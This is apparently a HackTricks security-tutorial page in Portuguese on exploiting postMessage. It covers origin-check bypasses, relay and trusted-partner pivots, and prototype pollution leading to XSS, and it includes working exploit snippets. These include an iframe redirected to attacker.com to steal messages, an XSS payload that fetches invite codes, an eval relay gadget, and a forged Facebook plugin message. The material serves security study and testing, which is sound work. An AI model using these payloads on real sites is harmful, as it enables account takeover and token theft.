PostMessage Vulnerabilidades

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Enviar PostMessage

PostMessage usa a seguinte função para enviar uma mensagem:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Observe que targetOrigin pode ser ‘*’ ou uma URL como https://company.com.
No segundo cenário, a mensagem só pode ser enviada para esse domínio (mesmo que o origin do window object seja diferente).
Se o wildcard for usado, mensagens podem ser enviadas para qualquer domínio, e serão enviadas para o origin do Window object.

Attacking iframe & wildcard in targetOrigin

Como explicado em this report se você encontrar uma página que pode ser iframed (sem X-Frame-Header protection) e que esteja enviando uma mensagem sensível via postMessage usando um wildcard (*), você pode modificar o origin do iframe e leak a mensagem sensível para um domínio controlado por você.\
Observe que, se a página puder ser iframed mas o targetOrigin estiver definido para uma URL e não para um wildcard, este truque não funcionará.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

Exploração do addEventListener

addEventListener é a função usada pelo JS para declarar a função que está esperando postMessages.
Um código similar ao seguinte será usado:

window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return

// ...
},
false
)

Note neste caso como a primeira coisa que o código faz é verificar a origem. Isso é extremamente importante, principalmente se a página for fazer algo sensível com as informações recebidas (como alterar uma senha). Se não verificar a origem, atacantes podem fazer com que vítimas enviem dados arbitrários para esse endpoint e alterar as senhas das vítimas (nesse exemplo).

Enumeração

Para encontrar event listeners na página atual você pode:

  • Procurar no código JS por window.addEventListener e $(window).on (JQuery version)
  • Executar no console das ferramentas do desenvolvedor: getEventListeners(window)

  • Ir para Elements –> Event Listeners nas ferramentas do desenvolvedor do navegador

Bypasses na verificação da origem

  • O atributo event.isTrusted é considerado seguro pois retorna True apenas para eventos gerados por ações genuínas do usuário. Embora seja difícil de contornar se implementado corretamente, sua importância nas checagens de segurança é notável.
  • O uso de indexOf() para validação de origin em eventos PostMessage pode ser suscetível a bypass. Um exemplo ilustrando essa vulnerabilidade é:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
  • O método search() de String.prototype.search() é destinado a expressões regulares, não strings. Passar qualquer coisa que não seja um regexp leva a uma conversão implícita para regex, tornando o método potencialmente inseguro. Isso porque em regex, um ponto (.) atua como coringa, permitindo contornar a validação com domínios especialmente criados. Por exemplo:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • A função match(), similar a search(), processa regex. Se o regex estiver mal estruturado, pode ser suscetível a bypass.

  • A função escapeHtml destina-se a sanitizar entradas escapando caracteres. Contudo, ela não cria um novo objeto escapado, mas sobrescreve as propriedades do objeto existente. Esse comportamento pode ser explorado. Em particular, se um objeto puder ser manipulado de modo que sua propriedade controlada não reconheça hasOwnProperty, o escapeHtml não funcionará como esperado. Isso é demonstrado nos exemplos abaixo:

  • Falha esperada:

result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
  • Contornando o escape:
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"

No contexto dessa vulnerabilidade, o objeto File é notoriamente explorável devido à sua propriedade somente-leitura name. Essa propriedade, quando usada em templates, não é sanitizada pela função escapeHtml, levando a potenciais riscos de segurança.

  • A propriedade document.domain em JavaScript pode ser definida por um script para encurtar o domínio, permitindo uma aplicação mais relaxada da same-origin policy dentro do mesmo domínio pai.

Confiança apenas em event.origin + relays confiáveis

Se um receptor apenas checa event.origin (por exemplo, confia em qualquer *.trusted.com) você frequentemente pode encontrar uma página “relay” nessa origem que ecoa parâmetros controlados pelo atacante via postMessage para um targetOrigin/targetWindow fornecido. Exemplos incluem gadgets de marketing/analytics que recebem query params e encaminham {msg_type, access_token, ...} para opener/parent. Você pode:

  • Abrir a página da vítima em um popup/iframe que tenha um opener para que seus handlers sejam registrados (muitos pixels/SDKs só anexam listeners quando window.opener existe).
  • Navegar outra janela do atacante até o endpoint relay na origem confiável, preenchendo os campos de mensagem que você quer injetar (tipo de mensagem, tokens, nonces).
  • Como a mensagem agora vem da origem confiável, a validação somente por origem passa e você pode disparar comportamentos privilegiados (mudanças de estado, chamadas de API, gravações no DOM) no listener da vítima.

Padrões de abuso observados na prática:

  • Analytics SDKs (por exemplo, estilo pixel/fbevents) consomem mensagens como FACEBOOK_IWL_BOOTSTRAP, então chamam APIs backend usando um token fornecido na mensagem e incluem location.href / document.referrer no corpo da requisição. Se você fornecer seu próprio token, pode ler essas requisições no histórico/logs de requisições do token e exfiltrar OAuth codes/tokens presentes na URL/referrer da página da vítima.
  • Qualquer relay que reflita campos arbitrários em postMessage permite que você forje tipos de mensagem esperados por listeners privilegiados. Combine com validação de input fraca para atingir chamadas Graph/REST, desbloqueios de funcionalidades ou fluxos equivalentes a CSRF.

Dicas de hunting: enumere listeners de postMessage que apenas checam event.origin, depois procure por endpoints HTML/JS same-origin que encaminhem params de URL via postMessage (previews de marketing, popups de login, páginas de erro OAuth). Una ambos com window.open() + postMessage para contornar checagens de origem.

e.origin == window.origin bypass

Ao embutir uma página web dentro de um sandboxed iframe usando %%%%%%, é crucial entender que a origin do iframe será definida como null. Isso é particularmente importante quando se lida com sandbox attributes e suas implicações na segurança e funcionalidade.

Ao especificar allow-popups no atributo sandbox, qualquer janela popup aberta a partir do iframe herda as restrições de sandbox do seu pai. Isso significa que, a menos que o atributo allow-popups-to-escape-sandbox também esteja incluído, a origin da janela popup também será definida como null, alinhando-se com a origin do iframe.

Consequentemente, quando um popup é aberto sob essas condições e uma mensagem é enviada do iframe para o popup usando postMessage, ambos os lados de envio e recebimento terão suas origins definidas como null. Essa situação leva a um cenário em que e.origin == window.origin avalia como true (null == null), porque tanto o iframe quanto o popup compartilham o mesmo valor de origin null.

Para mais informações leia:

Bypassing SOP with Iframes - 1

Bypass de e.source

É possível verificar se a mensagem veio da mesma janela em que o script está escutando (especialmente interessante para Content Scripts from browser extensions verificarem se a mensagem foi enviada pela mesma página):

// If it’s not, return immediately.
if (received_message.source !== window) {
return
}

Você pode forçar e.source de uma mensagem a ser null criando um iframe que envia o postMessage e é imediatamente removido.

Para mais informações leia:

Bypassing SOP with Iframes - 2

X-Frame-Header bypass

Para realizar esses ataques, idealmente você deverá conseguir colocar a página da vítima dentro de um iframe. Mas alguns headers como X-Frame-Header podem impedir esse comportamento.
Nesses cenários você ainda pode usar um ataque menos discreto. Você pode abrir uma nova aba para a aplicação web vulnerável e se comunicar com ela:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Roubando a mensagem enviada ao child bloqueando a página principal

Na página a seguir você pode ver como é possível roubar dados sensíveis via postmessage enviados para um child iframe bloqueando a página principal antes do envio dos dados e abusando de uma XSS no child para leak the data antes de serem recebidos:

Blocking main page to steal postmessage

Roubando mensagem modificando a localização do iframe

Se você consegue iframar uma página web sem X-Frame-Header que contenha outro iframe, você pode alterar a location desse child iframe, então se ele estiver recebendo um postmessage enviado usando um wildcard, um atacante poderia alterar a origin desse iframe para uma página controlada por ele e roubar a mensagem:

Steal postmessage modifying iframe location

postMessage para Prototype Pollution e/ou XSS

Em cenários onde os dados enviados através de postMessage são executados por JS, você pode iframe a página e exploit o prototype pollution/XSS enviando o exploit via postMessage.

Abaixo seguem alguns XSS muito bem explicados via postMessage que podem ser encontrados em https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Exemplo de um exploit para abusar de Prototype Pollution e depois XSS através de um postMessage para um iframe:

<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}

setTimeout(get_code, 2000)
</script>
</body>
</html>

Para mais informações:

Carregamento de script derivado da origem & supply-chain pivot (estudo de caso CAPIG)

capig-events.js registrou apenas um manipulador message quando window.opener existia. No IWL_BOOTSTRAP verificava pixel_id mas armazenava event.origin e depois usava isso para construir ${host}/sdk/${pixel_id}/iwl.js.

Manipulador escrevendo origem controlada pelo atacante ```javascript if (window.opener) { window.addEventListener("message", (event) => { if ( !localStorage.getItem("AHP_IWL_CONFIG_STORAGE_KEY") && !localStorage.getItem("FACEBOOK_IWL_CONFIG_STORAGE_KEY") && event.data.msg_type === "IWL_BOOTSTRAP" && checkInList(g.pixels, event.data.pixel_id) !== -1 ) { localStorage.setItem("AHP_IWL_CONFIG_STORAGE_KEY", { pixelID: event.data.pixel_id, host: event.origin, sessionStartTime: event.data.session_start_time, }) startIWL() // loads `${host}/sdk/${pixel_id}/iwl.js` } }) } ```

Exploit (origin → script-src pivot):

  1. Get an opener: e.g., in Facebook Android WebView reuse window.name with window.open(target, name) so the window becomes its own opener, then send a postMessage from a malicious iframe.
  2. Send IWL_BOOTSTRAP from any origin to persist host = event.origin in localStorage.
  3. Host /sdk/<pixel_id>/iwl.js on any CSP-allowed origin (takeover/XSS/upload on a whitelisted analytics domain). startIWL() then loads attacker JS in the embedding site (e.g., www.meta.com), enabling credentialed cross-origin calls and account takeover.

If direct opener control was impossible, compromising a third-party iframe on the page still allowed sending the crafted postMessage to the parent to poison the stored host and force the script load.

Backend-generated shared script → stored XSS: o plugin AHPixelIWLParametersPlugin concatenated user rule parameters into JS appended to capig-events.js (e.g., cbq.config.set(...)). Injecting breakouts like "]} allowed arbitrary JS injection, creating stored XSS in the shared script served to all sites loading it.

A allowlist de trusted-origin não é uma barreira

A strict event.origin check only works if the trusted origin cannot run attacker JS. When privileged pages embed third-party iframes and assume event.origin === "https://partner.com" is safe, any XSS in partner.com becomes a bridge into the parent:

// Parent (trusted page)
window.addEventListener("message", (e) => {
if (e.origin !== "https://partner.com") return
const [type, html] = e.data.split("|")
if (type === "Partner.learnMore") target.innerHTML = html // DOM XSS
})

Padrão de ataque observado em ambiente real:

  1. Exploit XSS in the partner iframe e drop a relay gadget para que qualquer postMessage se torne code exec dentro da origem confiável:
<img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};">
  1. Da página do atacante, envie JS para o iframe comprometido que reencaminha um tipo de mensagem permitido de volta para o parent. A mensagem se origina em partner.com, passa pela allowlist e carrega HTML que é inserido de forma insegura:
postMessage({
cmd: `top.frames[1].postMessage('Partner.learnMore|<img src="" onerror="alert(document.domain)">|b|c', '*')`
}, "*")
  1. O parent injeta o HTML do atacante, dando JS execution in the parent origin (e.g., facebook.com), que pode então ser usado para roubar OAuth codes ou pivotar para fluxos completos de account takeover.

Pontos-chave:

  • Partner origin isn’t a boundary: qualquer XSS em um parceiro “confiável” permite que atacantes enviem mensagens permitidas que contornem as verificações event.origin.
  • Handlers que render partner-controlled payloads (e.g., innerHTML em tipos de mensagem específicos) transformam o comprometimento do parceiro em um XSS DOM de mesma origem.
  • Uma ampla message surface (muitos tipos, sem validação de estrutura) fornece mais gadgets para pivotar uma vez que um iframe do parceiro esteja comprometido.

Predicting Math.random() callback tokens in postMessage bridges

Quando a validação de mensagens usa um “shared secret” gerado com Math.random() (e.g., guid() { return "f" + (Math.random() * (1<<30)).toString(16).replace(".", "") }) e o mesmo helper também nomeia plugin iframes, você pode recuperar saídas do PRNG e forjar mensagens confiáveis:

  • Leak PRNG outputs via window.name: O SDK auto-nomeia plugin iframes com guid(). Se você controla o top frame, iframe a página vítima, então navegue o plugin iframe para sua origem (e.g., window.frames[0].frames[0].location='https://attacker.com') e leia window.frames[0].frames[0].name para obter uma saída bruta de Math.random().
  • Force more outputs without reloads: Alguns SDKs expõem um caminho de reinit; no FB SDK, disparar init:post com {xfbml:1} força XFBML.parse(), destrói/recria o plugin iframe e gera novos nomes/IDs de callback. Reinit repetidos produzem tantos outputs do PRNG quanto necessário (observe chamadas internas extras a Math.random() para IDs de callback/iframe, então os solvers devem pular valores intermediários).
  • Trusted-origin delivery via parameter pollution: Se um endpoint de plugin first-party reflete um parâmetro não sanitizado no payload entre janelas (e.g., /plugins/feedback.php?...%23relation=parent.parent.frames[0]%26cb=PAYLOAD%26origin=TARGET), você pode injetar &type=...&iconSVG=... preservando a origem confiável facebook.com.
  • Predict the next callback: Converta os nomes de iframe vazados de volta para floats em [0,1) e alimente vários valores (mesmo não consecutivos) em um preditor de Math.random do V8 (e.g., baseado em Z3). Gere o próximo guid() localmente para forjar o token de callback esperado.
  • Trigger the sink: Monte os dados do postMessage de forma que a bridge dispare xd.mpn.setupIconIframe e injete HTML em iconSVG (e.g., URL-encoded <img src=x onerror=...>), obtendo XSS DOM dentro da origem hospedeira; a partir daí, iframes de mesma origem (OAuth dialogs, arbiters, etc.) podem ser lidos.
  • Framing quirks help: A cadeia requer framing. Em alguns webviews móveis, X-Frame-Options pode degradar para o suportado ALLOW-FROM quando frame-ancestors está presente, e parâmetros “compat” podem forçar frame-ancestors permissivos, habilitando o side channel de window.name.

Exemplo mínimo de mensagem falsificada

// predictedFloat is the solver output for the next Math.random()
const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "")
const payload =
callback +
"&type=mpn.setupIconIframe&frameName=x" +
"&iconSVG=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e"
const fbMsg = `https://www.facebook.com/plugins/feedback.php?api_key&channel_url=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=42%23relation=parent.parent.frames[0]%26cb=${encodeURIComponent(payload)}%26origin=https://www.facebook.com`
iframe.location = fbMsg // sends postMessage from facebook.com with forged callback

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks